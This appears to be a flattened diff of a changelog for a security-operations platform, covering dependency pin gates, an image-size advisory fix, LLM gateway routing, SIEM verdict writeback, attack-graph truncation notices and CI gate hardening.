Storybook's the way the Expo packages' are, but its peer- tracks the Storybook major exactly, so 0.24 is the Storybook 10 line of- the package and installs against this workspace's `[email protected]` as an- unsatisfied peer. Nothing in CI could catch it — no workflow runs- `test-storybook`, and the only Storybook job runs `build-storybook`, which- never loads the runner — so the proposal was green on all 22 required- checks while migrating the whole jest tree 29 → 30 underneath it. The- minor channel is now held for that package alongside the family's major.--- **The `services/api` pip entry had no holds, against two ratchet gates.**- `ruff` is declared in fourteen files (a count- `scripts/check_dependency_pins.py` enforces agreement across) and `mypy` in- six, plus `.github/workflows/ci.yml` for both, and Dependabot can only edit- one of them.- Measured rather than assumed: `ruff` 0.16.8 reformats 90 files and reports- 3 lint errors where the pinned 0.4.10 reports `All checks passed!` and- `1229 files already formatted`; `mypy` 2.3.1 makes- `scripts/check_mypy_baseline.py` exit 1 with 35 `(tree, file, code)`- entries no longer matching. Both failures land on the required- `Python — Lint & Type-check` check, which is to say on every open pull- request rather than on the bump's own. Held at the majors (and, for `ruff`,- the minors, since 0.4 → 0.16 is a minor step under semver while 0.4.x- patches still flow). `sqlglot` is deliberately *not* held: an `ignore` rule- suppresses security updates as well as version updates, and a single-path- sqlglot bump already cannot merge because `scripts/check_sqlglot_pin.py`- fails closed when the seven install paths disagree.--### Security--- **`apps/mobile` resolved a vulnerable `image-size` that the workspace had- already fixed.** Two high-severity advisories — GHSA-5p2g-fcmc-qvqq- (CVE-2025-71329, JXL/HEIF parsers) and GHSA-w3rx-r6r6-pgpr- (CVE-2025-71330, ICNS parser), both infinite-loop denial of service, both- fixed in 2.0.3 — stayed open against `apps/mobile/pnpm-lock.yaml` for a- structural reason rather than an unfixed one. The repository root pinned- `image-size` to `>=2.0.4 <3` through a pnpm override, and `apps/mobile` is- a deliberately independent install root with its own- `pnpm-workspace.yaml` and lockfile, created that way so its install would- stop rewriting the root lock. The override could not reach it and nothing- compared the two. Resolved by declaring the same override in- `apps/mobile/package.json`; the lockfile now resolves `[email protected]`- and drops its `queue` dependency with it.-- Metro is the only consumer, and no version of Metro that depends on- `image-size` permits 2.x — every one declares `^1.0.2`, which is why- Dependabot recorded `security_update_not_possible` and failed its job- instead of opening a pull request. Metro 0.83.3's two call sites go- through `_interopRequireDefault(require("image-size")).default`, and- `[email protected]`'s CommonJS build still exports a callable `default`, so- `metro.getAssetSize` returns correct dimensions against it.--### Added--- **The Attack Graph says when it is showing a truncated graph.**- `GET /api/v1/graph` bounds itself to 400 nodes and 900 edges and reports- `truncated`; the console rendered the flag nowhere, so a graph cut at the- ceiling and a graph that is genuinely that size looked identical. On an- attack graph that difference changes a conclusion — a missing edge reads- as a lateral path that does not exist. The view now shows a- `role="status"` notice naming the counts, the depth and the ceiling that- produced them, with a depth control that issues a new query rather than- re-rendering the cached one. The three existing states are unchanged: an- empty tenant still reads as empty, an unreachable backend still names the- endpoint and the status, and neither is reported as a truncation.--- `GraphOverviewResponse` gains `nodeLimit` and `edgeLimit`, read from- `graph_service` rather than restated, so the ceiling a client reports is- the ceiling the service applied. Additive and defaulted; no existing- consumer changes.--### Fixed--- **`main` went red because an install list depended on an extra it never- declared, and an upstream release stopped supplying it by accident.** The- `Python — Service unit tests (fusion, honeytokens, purple-team)` job failed- on `purple-team`'s `test_every_api_route_requires_auth` with- `ModuleNotFoundError: No module named 'greenlet'` — 99 other tests in the- job passed. Nothing about `purple-team` had changed: the test has imported- `app.api.routes` since it was written, that module has always imported- `sqlalchemy.ext.asyncio`, its `pyproject.toml` has always declared- `sqlalchemy[asyncio]`, and its `poetry.lock` resolves `greenlet 3.5.6`. The- declaration was right and the install path was wrong: this job consults- neither the manifest nor the lock, it pip-installs a hand-curated list, and- that list named a bare, unbounded `sqlalchemy`.-- It passed for months anyway. Through SQLAlchemy 2.0.x, `greenlet` was- required *outside* the `asyncio` extra whenever `platform_machine` matched- one of `aarch64 | ppc64le | x86_64 | amd64 | AMD64 | win32 | WIN32` — true- on `ubuntu-latest` — so a bare `sqlalchemy` installed it incidentally and- the extra was load-bearing and unnamed at the same time. SQLAlchemy 2.1.0- removed that clause, leaving `greenlet>=1; extra == "asyncio"` as the only- requirement. 2.1.0 was published at 20:12:49 UTC on 2026-09-24; the last- green commit on `main` (`ba0c6429`) is timestamped eleven minutes before it- and the first red one (`ad775e8d`, #829) ten minutes after. #829 was an- LLM-routing change that touched no file under `services/purple-team` and- nothing in that import chain — it is the commit whose run happened to- re-resolve first, not the cause. So this was neither a dependency that went- missing nor an import path newly reached; it was an unpinned install- re-resolving across an upstream minor.-- The job now installs `"sqlalchemy[asyncio]>=2,<3"`, matching both the- manifest and the wave-2 matrix job, which had it right all along.- `greenlet` is deliberately *not* added as a top-level pin: the extra exists- to pull it, and naming the transitive package instead would record the- workaround rather than the dependency. `isolation.yml`, which had done- exactly that — bare `sqlalchemy` plus an explicit `greenlet` — now declares- the extra and drops the compensating entry.--- **`services/connectors` reached `sqlalchemy.ext.asyncio` without declaring- the extra that makes it importable.** `app/db/engine.py` calls- `create_async_engine`, and the manifest declared `sqlalchemy = "^2.0.0"`.- It resolved only because of the same pre-2.1.0 accident, which means the- next SQLAlchemy bump would have dropped `greenlet` from the lock the image- installs from and broken the poller in production rather than in CI. It was- the only service in this position — every other service that imports the- module already declared `[asyncio]`. Re-locking with the extra changes two- lines and no resolved version.--- **`scripts/check_dependency_pins.py` now compares extras, not just- version ranges.** `sqlalchemy` and `sqlalchemy[asyncio]` are two different- dependency sets, and the gate that exists to assert every install path- agrees was reading the name and the range and discarding the extras — so it- reported agreement between a manifest and a workflow installing strictly- less software. Extras are now part of a declaration's identity in both- syntaxes (PEP 621 brackets and Poetry's `extras = [...]` table, the latter- being the one that was silently dropped), with three directions checked- because the direction nobody aims a gate at is the one that rots:- `manifest -> install path` (a workflow or image dropping an extra a- manifest declares), `source -> manifest` (code importing the module an- extra enables under a manifest that does not declare it, read out of the- source so the manifest is not asked to vouch for itself), and- `extra -> lock` (an extra declared while the lock resolved nothing it- provides — "the extra is declared and the library is absent" is now a- sentence this gate can say). Run against the pre-fix tree it names all- three defects above and the files holding them; `--self-test` injects each- direction separately, and six tests in- `tests/test_dependency_pin_gate.py` pin the parsing and the directions.--- **`scripts/check_toolchain_pins.py` compares every Node install root- against every other.** There are four — the workspace root, `apps/mobile`,- `services/realtime` and `services/mcp/cursor-extension` — and the gate read- dependency resolution out of the first one only, so the `image-size` split- above was invisible to it. It now discovers install roots structurally,- reads both pnpm and npm override spellings and both lockfile formats, and- checks in both directions: an override declared in one root against what- every other root resolved, and each root's own lockfile against its own- manifest. Exemptions are keyed on the exact versions they were verified- against, so a bump re-opens the question rather than inheriting the- clearance. Running it against the pre-fix tree names the defect and the- file; running it over a lockfile it cannot parse, or a tree with no- install root, fails rather than reporting a clean comparison it never- performed. The gate found a third instance of the same class on first run- (`ws` 6.2.6/7.5.13 in `apps/mobile`, verified clean against OSV and- recorded).--- The workspace-wide `esbuild` override ban now applies to every install- root instead of the repository root alone. `apps/mobile` was the one place- the mistake that broke Turbopack's font import map could have been- reintroduced without anything noticing, because its bundler is Metro and- the damage would surface in a different workspace.--- `.github/dependabot.yml`'s `apps/mobile` entry gains the `typescript`- semver-major hold that the `/` and `/services/realtime` entries already- carry. Its CI gate is `tsc --noEmit`, so it was the only Node install root- running `tsc` without the hold — the same shape as the `image-size`- finding, a decision taken for the workspace that never reached the root- installing separately.--### BREAKING+ The actions service's `ActionType` is not part of `docs/openapi.yaml`, so+ the breaking-change gate does not see this; it is recorded here because a+ dropped enum value is a break whether or not a workflow notices.- **`CostTracker` no longer reports an estimated dollar figure as a measuredone, and `CostTracker.total_cost_usd` is gone.** It priced a call by looking@@ -636,236 +302,57 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0left in place rather than deleted. Gated by`scripts/check_cost_provenance.py`.-- **Three MSSP response schemas describing fabricated data are removed:- `MSSPKpiOverview`, `ManagedTenantRow`, `CrossTenantIncident`.** They were- the shape of five hardcoded companies with invented alert counts, not the- shape of anything the platform measured. `/mssp/overview`,- `/mssp/tenants` and `/mssp/incidents` keep their paths and now return- `PortfolioSummaryOut`, `PortfolioTenantOut` and `PortfolioAlertOut`,- computed from real rows.+### Added- What moved, and why it could not be preserved:+- **Two-way SIEM integration: an AiSOC verdict is written back onto the+ finding that produced the alert.** The integration only ever ran inbound. A+ Splunk notable became an alert, the agent triaged it, and the notable sat in+ the Splunk queue untouched — so an analyst re-read a finding AiSOC had+ already dismissed, and a finding AiSOC had confirmed waited its turn behind+ them. Nothing on `main` wrote a disposition back to any SIEM in any form.- - `health_score` / `avg_health_score` are **gone**, not nulled. It was an- undefined composite with no formula anywhere in the tree; keeping the- field would promise a measurement that does not exist. (`MetricsOut` on- the separate `/mssp/metrics` route still carries a `health_score` and is- unchanged by this release.)- - `avg_mttr_minutes` → `mttr_minutes`, measured from cases a tenant- actually closed in the trailing 30 days, and **null** when it closed- none. The old value was the literal `23.4`. Present on both the per-tenant- row and the portfolio summary, where it averages only over tenants that- closed something rather than counting a null as a zero.- - `sla_breach_count` and `sla_breaches` → `sla_breached_cases`, counted- from `cases.sla_breached`.- - `connectors_online` / `connectors_degraded` / `connector_status` →- `total` / `healthy` / `stale` / `error`, derived from each connector's- `health_status` and `last_sync`. Nested under a `connectors` object on- the per-tenant row; flat `connectors_*` fields on the summary.- - `tenant_id` is now a real tenant UUID rather than a string like- `"t-acme"`.- - `assignee` is gone from the incident rows. It named invented analysts;- an alert's real owner is `case_id`, which is now returned instead.- - New: `synthetic_alerts`, so seeded demo rows are counted apart from a- tenant's real posture instead of inflating it.-- The routes also return `403` to a caller who belongs to no operator- organisation, where they previously returned an empty list to anyone- authenticated.-- Nothing in `apps/web` consumes these three routes; it calls- `/mssp/children`, which is unchanged.--- **Two `ActionType` members are removed: `add_ioc_to_blocklist` and- `run_playbook`.** Neither had an executor. `POST /actions` accepted both and- answered `No executor found for action type`, which reads as a broken- deployment rather than a verb nobody built; it now rejects them at- validation. A verb with no implementation path should leave the surface- rather than sit on it dead.-- Why neither could be preserved by implementing it:-- - `add_ioc_to_blocklist` was a second name for `block_ioc`, which has a- Defender arm, a capability contract, a registered adapter and a place in- the vocabulary. Two names for one verb means half the callers reach the- dead one. Use `block_ioc`.- - `run_playbook` is the wrong shape for this registry rather than a missing- feature. Playbook execution lives in `services/agents` and always has, and- the contract in this service belongs to the *verb* — "run an arbitrary- bundle of verbs" has no verb-level impact, reversal or verification probe- to declare. Approving it once would execute whatever steps it contained- without each step meeting its own contract, which is precisely what the- per-capability contract exists to prevent. Playbooks already dispatch step- by step through this service, so every step is graded on the way past.-- The actions service's `ActionType` is not part of `docs/openapi.yaml`, so- the breaking-change gate does not see this; it is recorded here because a- dropped enum value is a break whether or not a workflow notices.--### Fixed--- **The LLM gateway moves from the `full` profile into CORE, so the documented- default install can actually do AI triage.** It was `full`-profile on the- reasoning that the gateway is "only needed when a provider key is- configured" — which skipped a step: every task role resolves to an- `aisoc-<role>` alias, and an alias resolves at the gateway and nowhere else,- so a CORE deployment could not use a key either. `make up`, the quickstart's- Path B, and a plain `docker compose up -d` all now start it.-- With no provider key it boots, serves its seven aliases and answers- `/health/liveliness` (verified against the bundled config with both provider- keys empty); AiSOC makes no LLM call and the deterministic path is- unchanged. CORE goes from 10 to 11 services and ~6 GB to ~6.5 GB — the image- is 1.67 GB and idles at 451 MiB, measured, so "one lightweight container"- was not true and the README's numbers moved rather than staying put. The- gateway is also the only party that can report what a call cost, so CORE's- cost figures were previously unmeasurable by construction. Reasoning and the- two rejected alternatives: `docs/decisions/0006-llm-gateway-in-core.md`.- While correcting that table, the `full` row's service count was checked and- was wrong: `make up-full` starts **21** services, not 30 (30 is `full` plus- the `monitoring`, `chatops`, `extras` and `osquery` profiles).--- **`Event spine (real containers)` had a genuine race, not a flaky- environment.** The graph-writer assertion was- `docker compose logs … 2>/dev/null | grep -q "<early string>"` inside a step- running under `set -euo pipefail`. `grep -q` exits the instant it matches —- and that string is line 4 of the service's output — which closes the pipe- while Compose is still writing; Compose exits 255 on the broken pipe and- `pipefail` promotes that over grep's 0. The pipeline reported failure over a- line that was present, which the failing run proves: the log dump its own- error handler printed 115 ms later contains the exact string.-- Reproduced deterministically rather than inferred — with a large log the- pipeline returns 255 every time, with a small one that fits the pipe buffer- it returns 0 every time, and the match is in both. That size dependence is- why it read as a flake. `2>/dev/null` made it worse by discarding the only- message that distinguished "Compose failed" from "the line is absent", so- the run reported the wrong cause. Fixed by capturing the logs once and- grepping the capture, and by checking Compose's own exit status separately —- not by a retry or a longer sleep, which would have converted a real race- into a slower real race. `scripts/doctor.sh` has the same shape twice and is- unaffected: it does not set `pipefail`.--- **The dependency audit only ever looked at one of the repository's two pnpm- install roots.** `run_pnpm_audit` ran `pnpm audit` in the repo root and- nowhere else, so `apps/mobile` — a deliberately separate install root, with- its own `pnpm-workspace.yaml` so its installs stop rewriting the root lock —- was never scanned. Two high-severity advisories stood open there while the- `security-audit` job reported a clean workspace, which is the same shape as- the stale `poetry.lock` that once dropped `services/slack-bot` and hid eleven- advisories. Install roots are now discovered from the tree (every directory- holding a `pnpm-lock.yaml`), each is audited, and a finding names the root it- came from rather than a generic "pnpm workspace". A tree with no lockfile- anywhere is recorded as a coverage gap instead of reported as clean.-- The two advisories it surfaced (`GHSA-5p2g-fcmc-qvqq`, `GHSA-w3rx-r6r6-pgpr`- in `image-size`) are suppressed with an expiry rather than fixed, because no- fix is reachable: `apps/mobile` resolves `image-size 1.2.1` solely through- `metro 0.83.3`, no patched 1.x exists, every metro release through 0.87.1- still requires `^1.0.2`, and `image-size` 2.x drops the callable default- export `metro/src/Assets.js` calls — so an override would break asset- resolution at bundle time rather than bump a version. Dependabot's updater- reaches the same verdict independently (`security_update_not_possible`).- Both are denial-of-service only and build-time, reachable only from an image- already committed to this repository.--- **AI triage could not reach a model in the default deployment, and it was- not a missing key.** `docker-compose.yml` set `LLM_GATEWAY_URL` on the `api`- and `agents` services. Nothing read it. Both resolvers honoured only- `OPENAI_BASE_URL`, which compose never set, and each carried a comment- explaining that the refusal was deliberate — routing through the gateway- should be an explicit choice so it is never ambiguous whether the bearer is- the gateway master key or a provider key. The reasoning was sound and the- result was that every `aisoc-<role>` alias went to `api.openai.com`, which- cannot resolve one, and the caller's `except` rendered that as "no LLM- available". `preflight_llm()` logged exactly this condition at boot with the- remedy, so the diagnosis existed and the wiring did not.-- `LLM_GATEWAY_URL` is now the lowest-precedence base URL, and the ambiguity is- resolved rather than avoided. **The model decides the route:** the gateway is- adopted only for a gateway alias, which resolves nowhere else, while a- concrete `AISOC_MODEL_PIN_<ROLE>` — the documented direct-to-provider escape- hatch — is left pointing at its provider. **The route decides the bearer:**- when AiSOC picks the gateway itself it sends `LITELLM_MASTER_KEY`, which- compose now supplies to both services, and never a provider key. An explicit- `OPENAI_BASE_URL` still outranks both. The rule lives once, in- `services/agents/app/llm/routing.py`, shared with the BYOK resolver and- mirrored in `services/api/app/services/model_aliases.py` for the service that- cannot import it.-- Consumers audited and fixed alongside it: the API copilot and the NL-query- translator (both already went through the shared helpers); the agents- **contextual copilot**, which built `ChatOpenAI(model=…)` with no base URL at- all and reported "LLM not configured" from a key check that could not see the- gateway's; the **detection builder** (`/nl-detection`), the only consumer that- could not be pointed anywhere — it POSTed to a hardcoded- `https://api.openai.com/v1/chat/completions` with `OPENAI_MODEL`; the four API- endpoints (translation, hunts, knowledge base, phishing) that read- `LLM_BASE_URL` and defaulted to OpenAI without consulting `OPENAI_BASE_URL`;- the BYOK / "explain this alert" resolvers in both services, which defaulted- straight to `https://api.openai.com` and took an alias there; and- `GET /llm/status`, so the indicator describes the route the explain path- actually takes. The **MITRE RAG embedding** path is a deliberate exclusion —- `infra/litellm/config.yaml` declares chat aliases only, so an embedding call- routed there would 400 on every batch. It has its own- `AISOC_EMBEDDING_BASE_URL` / `AISOC_EMBEDDING_MODEL` pair and the gate checks- the exclusion in both directions.--- **`OPENAI_MODEL` replaced the triage role's model on the highest-volume path- in the product.** `.env.example` shipped `OPENAI_MODEL=gpt-4-turbo-preview`,- a model no gateway config in this tree has ever defined. The auto-triage- worker layers a tenant's BYOK configuration over the role pin — but the- resolver's `LlmConfig` collapsed provenance into a single `source` word, so- the worker could not tell a per-tenant override from the process-wide env- baseline and bound all three fields unconditionally. Once traffic reached the- gateway that would have produced `Invalid model name` on every triage call:- the failure the commercial deployment already hit, where the copilot and every- triage agent degraded to empty output.-- `LlmConfig` now carries `model_from_tenant` / `base_url_from_tenant` /- `api_key_from_tenant`, computed from state the resolvers already tracked, and- only a field the tenant actually set is treated as an override. A real BYOK- model still wins. `.env.example` ships `OPENAI_MODEL=aisoc-summary` — an alias- the bundled gateway defines — and the variable is documented as the BYOK /- explain path only, never a task role.+ New capability `update_alert_disposition` with five vendor arms (Splunk ES,+ Elastic Security, Microsoft Sentinel, IBM QRadar, Microsoft Defender), two+ new clients (`sentinel_client.py`, `qradar_client.py`), migration+ `057_alert_source_links.sql`, and `POST /api/v1/alerts/{id}/source-writeback`.+ The agents triage worker posts to that route after the verdict is durable and+ fails soft — the verdict outranks its writeback, and an unreachable Splunk+ must not dead-letter an alert that was triaged correctly. Docs:+ [Integrations → SIEM writeback](apps/docs/docs/integrations/siem-writeback.md).-- **A model with nowhere to go is now an error instead of a fallback.**- `make_chat_model` and `chat_completions_url` raise `UnroutableModelError`,- naming the alias and the remedy, when a gateway alias is requested with no- gateway configured — rather than building a client destined to 404 and- letting a caller read that as "the LLM is unavailable". `run_auto_triage`- constructs its model inside its own `try` so the failure arrives as- `AutoTriageError` like every other LLM failure; `auto_triage_node` catches- that specifically, so constructing outside it would have failed a whole graph- run over a configuration problem the deterministic path handles. The- deterministic floor is unchanged and still reports `call_count=0 models=[]- total_tokens=0` with no `recommended_actions`. `preflight_llm()` now reports- both directions at boot: an alias with no gateway, and a concrete model- pointed at the bundled gateway.+ **The disposition mapping is the safety argument, not the approval tier.** A+ confirmed true positive is *escalated and never closed*: it is the finding a+ human most needs to see, and closing it because the platform is confident is+ how an agent turns a real intrusion into a resolved ticket nobody read. An+ unknown verdict is *refused, never guessed* — which matters because+ `normalize_disposition` defaults an unrecognised string to `true_positive`,+ so a mapper that normalised first would convert "I do not recognise this"+ into a confident claim. Only benign and false-positive verdicts may close a+ finding, and `benign_true_positive` is classified as a correct detection of+ authorised activity rather than as a false positive, so it never inflates a+ rule's own FP rate.-### Added+ **Governance ships dry-run by default.** `AISOC_SIEM_WRITEBACK_ENABLED`+ defaults on and `AISOC_SIEM_WRITEBACK_EXECUTE` defaults **off**, so an+ operator opts in to writing into their own SIEM. Anything that is not an+ explicit yes — including a typo — is read as a dry run. `executed` is the+ single field that means a vendor was touched; it is carried on the API+ response, on the worker's return value, and as a no-default column on+ `alert_source_links`, so a dry run, a refusal and a credential-less+ simulation can never be read as a write that happened. Projecting a closing+ verdict onto a linked Jira / ServiceNow ticket needs a third flag+ (`AISOC_SIEM_WRITEBACK_CLOSE_CASE`, off) because the ITSM connectors project+ a status transition rather than a note, so the only truthful way to reach the+ ticket is to resolve the case for real.-- **A model name must resolve, and the variable that routes it must be read —- gated in both directions.** `scripts/check_llm_model_routing.py` reconciles- `infra/litellm/config.yaml`, the role pins, the API-side mirror,- `.env.example` and `docker-compose.yml`: every pin's alias must be defined by- the gateway and every alias claimed by a pin; every model named in an env or- compose file that wires the bundled gateway must be one the gateway defines;- every variable compose points at the gateway must be read by *both* resolvers- and every gateway variable the resolvers read must be set by compose; and a- service handed the gateway URL must be handed the gateway key. Wired into- `ci.yml :: python-lint`, with the self-test running first.+- **The join key survives ingest.** `finding.uid` — the vendor's own id for a+ finding — reached the OCSF envelope and was then discarded, so by the time a+ row hit `alerts` the notable's rule UID, the Elastic signal id and the QRadar+ offense id were gone and no verdict could be aimed at anything. Fusion now+ carries it onto `alerts.external_id` and writes an `alert_source_links` row,+ but only for a vendor with a writeback arm: a link to a system AiSOC cannot+ write to would read as a two-way integration that is not one.- Every parser is AST- or comment-aware, and the self-test proves each refusal- rather than asserting it, because all three corpora contain text shaped- exactly like what the gate looks for: the gateway config's commented- Ollama/vLLM examples repeat `model_name: aisoc-triage` verbatim,- `.env.example` documents the escape hatch as a commented- `AISOC_MODEL_PIN_TRIAGE=gpt-4o-mini`, and `docker-compose.yml` explains the- gateway in prose containing `OPENAI_BASE_URL=http://litellm:4000/v1` two lines- above the key it describes. A line regex credits all three. 13 injected- defects and 7 parser blind spots, each caught by its own code, plus the shared- empty-tree refusal.- **`GET /api/v1/graph` exists.** The console's Attack Graph view has alwayscalled it and always got a 404, while `/graph/neighbors/…` and`/graph/mitre-coverage` returned 200 from the same Neo4j instance holding@@ -895,421 +382,451 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0the view holds no graph at **first paint**, so a future `fallbackData` (whichdisables revalidation, making a mock permanent rather than provisional)fails the build.-- **`scripts/check_orm_migration_parity.py` — a column a model declares and- no migration creates now fails the build.** Structural on both sides- (Python `ast` over the models and the alembic revisions, plus the raw SQL- those revisions and `services/api/migrations/*.sql` execute) and in both- directions: `missing-in-migration`, `missing-in-model`,- `type-narrower-in-migration`, `type-family-mismatch`, and- `no-migration-source` for a mapped table no migration mentions at all —- which is the finding that exists because pairing nothing produces zero- findings, and zero findings over zero comparisons prints the same word as- a clean result. `--credits` enumerates what each verdict was *based on*- for the same reason.-- Scoped structurally rather than by a list: a service that calls- `metadata.create_all` builds its tables from the models, so a column no- migration creates is created anyway. `services/api` is the one such- service and is reported as advisory with its count printed, not hidden.- The four alembic-managed services have no such fallback, which is exactly- why UEBA's missing column was fatal.- Verified non-vacuous against the tree as it was: it reports all three of- the real UEBA defects. The `type-family-mismatch` kind exists *because*- an earlier version reported only two of them — a length comparison could- not see `UUID` against `String(64)`, since neither side declared a length- the other contradicted.--- **`scripts/check_service_migration_bootstrap.py` — a migration chain- nothing invokes is not a migration chain.** Asserts every service with an- `alembic.ini` ships `app/_migrate.py`, keeps it byte-identical to the- others, runs it from its `CMD`/`ENTRYPOINT` (matched on the command lines,- so a mention in a comment does not count), and carries both an owner DSN- and a compose healthcheck. The other direction too: a service shipping- the module with no chain to apply would exit 1 on every start.+- **The Attack Graph says when it is showing a truncated graph.**+ `GET /api/v1/graph` bounds itself to 400 nodes and 900 edges and reports+ `truncated`; the console rendered the flag nowhere, so a graph cut at the+ ceiling and a graph that is genuinely that size looked identical. On an+ attack graph that difference changes a conclusion — a missing edge reads+ as a lateral path that does not exist. The view now shows a+ `role="status"` notice naming the counts, the depth and the ceiling that+ produced them, with a depth control that issues a new query rather than+ re-rendering the cached one. The three existing states are unchanged: an+ empty tenant still reads as empty, an unreachable backend still names the+ endpoint and the status, and neither is reported as a truncation.-- **`scripts/audit_health_probes.py` now checks the thirteen copies of- `app/_health.py` are identical.** The module's own docstring claimed they- were kept in sync and nothing verified it — they happened to be, so the- claim was true by luck. It also pointed at `scripts/sync_health_module.py`,- which does not exist in this tree.+- `GraphOverviewResponse` gains `nodeLimit` and `edgeLimit`, read from+ `graph_service` rather than restated, so the ceiling a client reports is+ the ceiling the service applied. Additive and defaulted; no existing+ consumer changes.-- **Every test file in the tree is now executed by a workflow, and a gate- holds it that way in both directions.** 63 were executed by nothing at all:- 56 of the 82 under `services/agents`, because that invocation was a- hand-maintained list of 26 file paths; five under the repository's own- `tests/`, which was reached only as nineteen single-file invocations spread- across eleven workflows; and both files under `scripts/tests/`, which no- workflow named. A file nothing runs reports nothing, which is- indistinguishable from a file that passed.+- **`/graph` honours `?entity=` and selects the node it names.** Three callers+ already built that URL — the Investigation Rail's entity chips, `HuntView`'s+ "Pivot to graph" button, and now federated search — and nothing read it, so+ every pivot navigated to the graph and dropped the entity, leaving the+ analyst to find the node by eye. Both the typed form (`host:WIN-DC01`) and+ the bare form `HuntView` emits are accepted, matching on node id then label.- `scripts/check_test_discovery.py` derives the corpus from `git ls-files` and- models reach the way pytest collects — directory arguments, `--ignore`,- `conftest` `collect_ignore`, and `-m` marker deselection, since a file whose- every test is deselected runs nothing however plainly it is named. An- invocation naming a path that is not in the tree fails too. Quarantine is a- shrink-only list where every entry carries a reason and an entry that has- become reachable fails as stale, so "not run" can never again be silent.+- **Federated SIEM search has a console surface.** `/api/v1/federated/backends`+ and `/api/v1/federated/search` have fanned one query out to Splunk, Microsoft+ Sentinel, Elastic and QRadar — in parallel, against each tenant's own+ vault-encrypted credentials — for some time. `apps/web` had no client for+ either, so the capability was reachable only from the SDK. `/federated-search`+ now exposes it: pick which connected SIEMs to query, describe the search once+ in free text plus optional `field operator value` filters, and read the merged+ rows.- Two blind spots in the gate's own parser were found by enumerating what it- **credited** rather than what it flagged. A step that `cd`s into a service- and then names `tests/` had its paths resolved against the repository root,- which simultaneously reported all 82 agents files unreached and credited the- root `tests/` tree with a package's invocation — the same defect in both- directions at once. And `-m` was first treated as "a filter, not a- collection rule", which would have credited a module in full under- `-m "not integration"` while nothing in it ran.+ The design constraint the page is built around is the endpoint's per-source+ isolation. It deliberately never fails the whole call because one backend is+ slow, 401s or 5xxs; it returns a verdict per backend instead. A UI that+ renders only the merged rows discards that, and the analyst cannot tell+ "Sentinel has nothing" from "Sentinel did not answer" — opposite conclusions+ mid-incident. So the per-backend strip renders above the rows, always, with+ each backend's own row count, latency and error message. A backend that+ failed shows no row count, because "0 rows" beside a timeout reads as+ "nothing matched". An empty result set is labelled "No matching events" when+ a backend answered and matched nothing, and "No backend returned results"+ when every backend failed.- The invocations are directories now. `services/agents` runs `tests/`;- `tests/` and `scripts/tests/` run as directories in `python-test`, with- `tests/isolation/` left to `isolation.yml`, which owns its live stores.+ Recognised entities in a row deep-link to `/graph?entity=<type>:<value>`.+ Recognition is a fixed per-vendor field-name list rather than a heuristic:+ `src_ip`, `source.ip` and `SourceIP` all resolve to the same IP pivot, while+ `zip`, `recipient` and `description` resolve to none.-- **`--suite <name>` in `scripts/run_evals.py` ran every suite.** Its `--help`- said "runs that suite in isolation", the module docstring said "run a single- suite by name", and `args.suite` reached nothing but the wording of the- banner: the report dict called all eleven `_run_*` helpers inline. So- `--suite mitre_accuracy` took the full runtime, graded eleven gates, and- printed `PASS — mitre_accuracy green` — a verdict naming one suite and- decided by eleven, with `--ci` able to fail an operator's single-suite- bisection on an unrelated regression. The report now carries `suite_filter`- and only the requested suites are called; the registry is asserted against- `_SUITE_NAMES` so a name argparse accepts cannot be one no runner answers- to. A substrate-import failure also exits **3**, which is what this file's- own "Exit codes" block has always documented — it exited **2**, and 2 means- "MITRE accuracy regressed against the baseline", so a fresh clone missing a- dependency reported an accuracy regression, and the one actionable- instruction (`pip install -e services/agents`) was not in the message.- All three defects were pinned by tests in `scripts/tests/` that had been- failing for as long as they existed, in the tree no workflow ran.+- **A SOC operations dashboard at `/dashboards/operations`.** `/dashboard`+ answers what is happening in the estate; this answers whether the machine+ that reports it is working. The distinction matters because every failure+ mode of a detection pipeline makes it *quieter* — a connector stops polling,+ a schema changes and events bounce, a token expires — and an alert-centric+ view reports all three as good news.-- **No gate may report OK over a repository with no content, and it is a CI- gate now rather than a probe somebody happened to run once.** Copying- `scripts/` into an empty git repository and running every wired check there- found five reporting OK over a tree holding nothing — the detection- validator behind the rule count on the front page certifying zero rules as- valid, a dashboard check that failed on an *empty* directory and passed on a- *missing* one, `OK: 0 published Go module path(s)`, every self-link healthy- over zero files, and a health-probe audit printing a table header and- exiting 0. Those five were fixed; the probe that found them was a one-off,- so the next gate written could reintroduce the defect freely.+ Six panels, each backed by one endpoint and owning its own fetch, loading,+ empty and error state: connector fleet staleness (`/health/fleet`), rejected+ events by reason (`/health/dead-letters`), alert severity and disposition+ (`/alerts/stats`), detection coverage counting only *enabled* rules+ (`/detection/coverage`), agent runs/tokens/spend (`/costs/dashboard`), and+ response actions paused for approval (`/approvals`). The first three had no+ web client at all.- `scripts/check_gate_contract.py` is that probe made permanent. It runs all- 69 inventoried checks the way a workflow runs each one, inside a git- repository holding only `scripts/`, and requires each to exit non-zero.- Three things make the result mean something:+ Fleet staleness is reported against each connector's own cadence — "3.2+ intervals behind" rather than an absolute age, because a daily connector and+ a five-minute connector are not late at the same wall-clock time. One dead+ endpoint blanks one panel and names the failure; it does not take the page+ down and does not substitute plausible figures.- - **The inventory is not written here.** It comes from- `check_gate_coverage.py`, which already resolves the workflow-to-check- graph structurally. A second scanner would drift the first time either- one learned something the other had not.- - **A failure the empty tree did not cause is INCONCLUSIVE, not a pass.**- An argparse usage error, or an import of a module the repository does not- supply, means the gate was never exercised — crediting that as a refusal- would be the same defect one level up. Whether a missing module is the- repository's own is read from `git ls-files`, so `No module named 'app'`- counts as the empty tree working and `No module named 'structlog'` does- not.- - **Every way CI runs a script is probed, and the worst result decides.**- Four subcommands under one name are four gates; excusing the set because- the first refused is how the others stay hidden. Only invocations- carrying a declared verdict flag are probed, so the generator half of a- script that is both generator and gate is not mistaken for one.+- **A real operator organisation above tenants, so the MSSP console can be+ backed by data instead of gated behind demo mode.** `/mssp/overview`,+ `/mssp/tenants` and `/mssp/incidents` returned five hardcoded companies —+ "Acme Corp, health 92.4, 12 open alerts", "Wayne Enterprises", invented+ incidents with invented assignees — because the cross-tenant aggregation+ query behind them was never written. Gating the sample behind demo mode+ removed the lie but left the feature unbuilt: outside demo mode the+ console showed zeros forever. Making it real was a schema change, not an+ ungating.- Exceptions are recorded with the disposition they are excused for and- checked in both directions, so an entry naming a check that no longer- exists fails, and so does one whose gate has started behaving differently.- Four are recorded: `wet_eval_check.py` (reads two environment variables and- no repository content), `security_audit.py`'s `validate-ignores` arm (its- entire subject is a file inside `scripts/`, the one directory the scratch- tree must keep), and `openapi_diff.py` / `wet_eval_update_benchmark.py`- (both inputs named on the command line, one of them built outside 